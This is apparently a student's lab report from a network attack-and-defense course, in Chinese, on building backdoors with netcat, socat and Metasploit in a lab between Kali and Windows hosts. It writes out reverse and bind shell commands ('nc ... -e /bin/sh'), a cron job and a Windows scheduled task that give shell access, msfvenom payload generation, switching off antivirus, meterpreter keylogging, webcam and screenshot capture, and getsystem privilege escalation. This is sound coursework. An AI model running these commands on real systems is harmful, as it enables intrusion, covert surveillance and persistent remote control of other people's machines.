20222320 2024-2025-1 《网络与系统攻防技术》实验2实验报告

目录

0.认识工具

(1)netcat

Netcat(也称为Ncat或nc)是一款功能强大的网络工具,被誉为“网络界的瑞士军刀”。它可以用于网络上的数据读写、重定向、端口扫描、安全审计等多种用途:

ncat -l port_number
        ---监听入站连接

ncat IP_address port_number
        ---连接远程系统

ncat -l -u port_number
        ---连接UDP端口

ncat -l local_port | ncat remote_IP remote_port
        ---作为代理

ncat -l port_number > file.txt
        ---在接收数据的机器上拷贝文件

ncat remote_IP port_number --send-only < data.txt
        ---在发送数据的机器上拷贝文件

ncat -l port_number -e /bin/bash
        ---创建后门

ncat -u -l local_port -c 'ncat -u -l remote_port'
        ---端口转发

ncat -w timeout_seconds IP_address port_number
        ---设置连接超时

ncat -l -k port_number
        ---强制待命

(2)socat

Socat(Socket CAT)是一款强大的命令行工具,用于在两个数据流之间建立连接。它的设计灵感来自于UNIX中的cat命令。Socat被广泛用于网络编程和系统管理中,能够处理各种不同类型的数据流,包括TCP、UDP、文件、终端、串口等。它可以实现端口转发、代理、文件传输等多种功能,我个人使用起来觉得比ncat复杂但功能更多

socat [options] <address> <address>
        ---基本语法

socat - TCP:IP_address:port_number
        ---连接远程端口

socat TCP-LISTEN:port_number -
        ---监听一个新端口

socat -d -d -lf /var/log/socat.log TCP4-LISTEN:local_port,bind=local_IP,reuseaddr,fork TCP4:remote_IP:remote_port
        ---端口转发(TCP)

socat -d -d -lf /var/log/socat.log UDP4-LISTEN:local_port,bind=local_IP,reuseaddr,fork UDP4:remote_IP:remote_port
        ---端口转发(UDP)

socat -u open:file_path tcp-listen:port_number,reuseaddr
        ---文件传送(发送)

socat -u tcp:remote_IP:port_number open:file_path,create
        ---文件传送(接收)

socat open:read_file_path\\!\\!open:write_file_path,create,append tcp-listen:port_number,reuseaddr,fork
        ---读写分流

(3)MSF

Metasploit Framework (MSF) 是一款功能强大的开源安全漏洞检测工具,被广泛应用于渗透测试中。它内置了数千个已知的软件漏洞,并持续更新以应对新兴的安全威胁。MSF不仅限于漏洞利用,还包括信息收集、漏洞探测和后渗透攻击等多个环节,因此被安全社区誉为“可以黑掉整个宇宙”的工具。

msfconsole
        ---进入MSF框架

search ms17_010
        ---查找相关漏洞

use exploit/windows/smb/ms17_010_eternalblue
        ---使用漏洞利用模块

set RHOSTS target_ip
        ---设置目标IP地址

set PAYLOAD windows/x64/meterpreter/reverse_tcp
        ---设置攻击载荷

set LHOST local_ip
        ---设置本地IP地址

exploit
        ---执行漏洞利用

sessions -i session_id
        ---与会话交互

background
        ---将会话置于后台

sessions -k session_id
        ---关闭会话

1.实验目标

  • 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

  • 使用socat获取主机操作Shell, 任务计划启动

  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.实验要求

  • 掌握后门原理及免杀技术

  • 回答下列问题

    (1)例举你能想到的一个后门进入到你系统中的可能方式?
    答:在xx下载园下载到含有后门的盗版软件,并运行

    (2)例举你知道的后门如何启动起来(win及linux)的方式?
    答:win:写入触发器或系统任务列表,写入注册表
    linux:写入cron里定时启动运行

    (3)Meterpreter有哪些给你映像深刻的功能?
    答:直接就可以生成对应操作系统的shellcode,并且通过这个程序能轻易控制设备,进行录像截屏,获取键盘动作

    (4)如何发现自己有系统有没有被安装后门?
    答:下载杀毒软件扫描电脑,或者看看有没有可疑进程;检查系统日志

3.实验过程

(1)使用netcat获取主机操作Shell,cron启动某项任务

先查看本机和kali机ip,便于接下来操作。

kali的ip:

windows的ip:

1.kali反弹shell到win
下载ncat.zip到windows主机,解压,cmd管理员模式进入该目录

 win:ncat -lp [端口号]               ---简略
      ncat -lvnp [端口号]             ---详细
 kali:nc [win主机IP] [同上端口号] -e /bin/sh

此时,如果一切顺利,就会发现win端可以运行kali端的shell了,如下图:

2.linux中cron定时启动任务
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个进程,可以在这里给kali添加一个定期任务

 crontab -e


第一次打开,选择2;然后按i进入编辑模式,添加任务,弹出shell给win主机的指令:

* * * * * /bin/netcat [win主机IP] [win主机开放的端口号] -e /bin/sh    ---(* * * * *表示每一分钟执行)


接着就可以在win开启监听了,然后唤起cron服务(顺序很重要!!!,不能乱)

 win:ncat.exe -lvnp [端口号]
 kali:service cron start

过一会儿,监听就会发现成功连接上了kali的shell

(2)使用socat获取主机操作Shell, 任务计划启动

下载socat到win主机上,解压,记住路径;
在win的任务计划程序上创建新定时任务(路径:控制面板 > windows工具 > 任务计划程序)
创建新任务:

  常规 > 名称,填写自定义的任务名称;
  触发器 > 新建,选择任务的触发事件;
  操作 > 新建 > 程序或脚本:socat.exe所在的路径;
  添加参数:tcp-listen:[监听端口] exec:cmd,pty,stderr

创建好后如图所示:

通过这个任务,在kali上获取win的shell;
kali中输入

  socat - tcp:[win主机IP]:[端口号]

运行socat进行监听,当任务运行时,kali这里监听到就会出现win的shell:

编码问题导致乱码,总体还是运行成功的

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

输入指令先生成exe:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[监听端IP] LPORT=[端口号] -f exe >文件路径/文件名

再利用ncat后门将exe传到win主机上:

win:ncat.exe -lvnp [端口号] > [后门程序名称]
kali:nc [win主机IP] [端口号] < [后门程序名称]

传输结果如图:

这时在ncat下面就可以找到相应exe文件了

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

这里可以直接使用步骤3的exe来进行,首先要配置kali端

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse-tcp
set LHOST [kali主机IP]
set LPORT [端口号]
show options              ---查看所有选项
exploit

运行,进入监听状态:

接着处理win端,直接运行这个木马就会如下,直接被杀:

这时选择恢复就行,也可以直接关闭病毒防护:

双击打开,木马就会成功运行,运行时不是以应用原本名称的,而是会在进程中换一个名字来提高隐蔽性;同时,kali端将会收到一个tcp连接来自木马:

如图,这里能看到已经成功调出了win的shell了。就可以利用这个木马来获取相应权限

webcam_snap    ---摄像头拍照
webcam_stream  ---摄像头录像
screenshot     ---截屏
keyscan_start  ---开始抓取键盘
keyscan_dump   ---停止抓取键盘

效果如图:


有截屏,键盘记录,录音;摄像头权限我没开就不会抓取到

接着准备进行提权,首先试一下getsystem看能不能行

直接就成功了!不可思议

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

先用框架生成shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=[kali主机IP] LPORT=[端口号] -f c > shellcode


这时没有文件,只有一大段shellcode,用上次实验的shell代码当作攻击对象。这时就要构造输入了。这里不赘述:

检查了一下输入是否正确,看起来没问题,就注入吧
kali那里构造payload,准备监听就行

注意这里的payload要改变为linux/x86/shell_reverse_tcp,不要搞成win的了

4.问题及解决方案

  • 问题1:kali加载到2320端口,但被拒绝连接:

  • 问题1解决方案:顺序很重要!一定要先win开启监听kali才能传出去shell,不然就会直接报错显示拒绝连接!!

  • 问题2:msf连接win时出问题:

    显示出一个会话关一个会话

  • 问题2解决方案:检查载荷是否正确拼写,这里我将_不小心打做-,这样构造载荷时当然有问题,会像这样报错

    这时就需要停下检查了

5.学习感悟、思考等

这次试验任务量不小,而且还没学到这里来;所以一切对我来说都是要现学的。先在网上查找工具相关资料,熟悉怎么使用它们。这次我接触到了msf这个相当有用的框架,基本帮我们把好多事都干完了,直接敲点指令就行;但很多又是初次接触,所以不是很敢用怕用错出bug找半天,还是参考了一下往届使用的哪些命令来做的。这次试验基础不牢,感觉做的很勉强,到时候上课上到这里来还要重点再听一下,免得知其然不知其所以然。

参考资料

posted @ 2024-10-18 18:07  20222320  阅读(22)  评论(0编辑  收藏  举报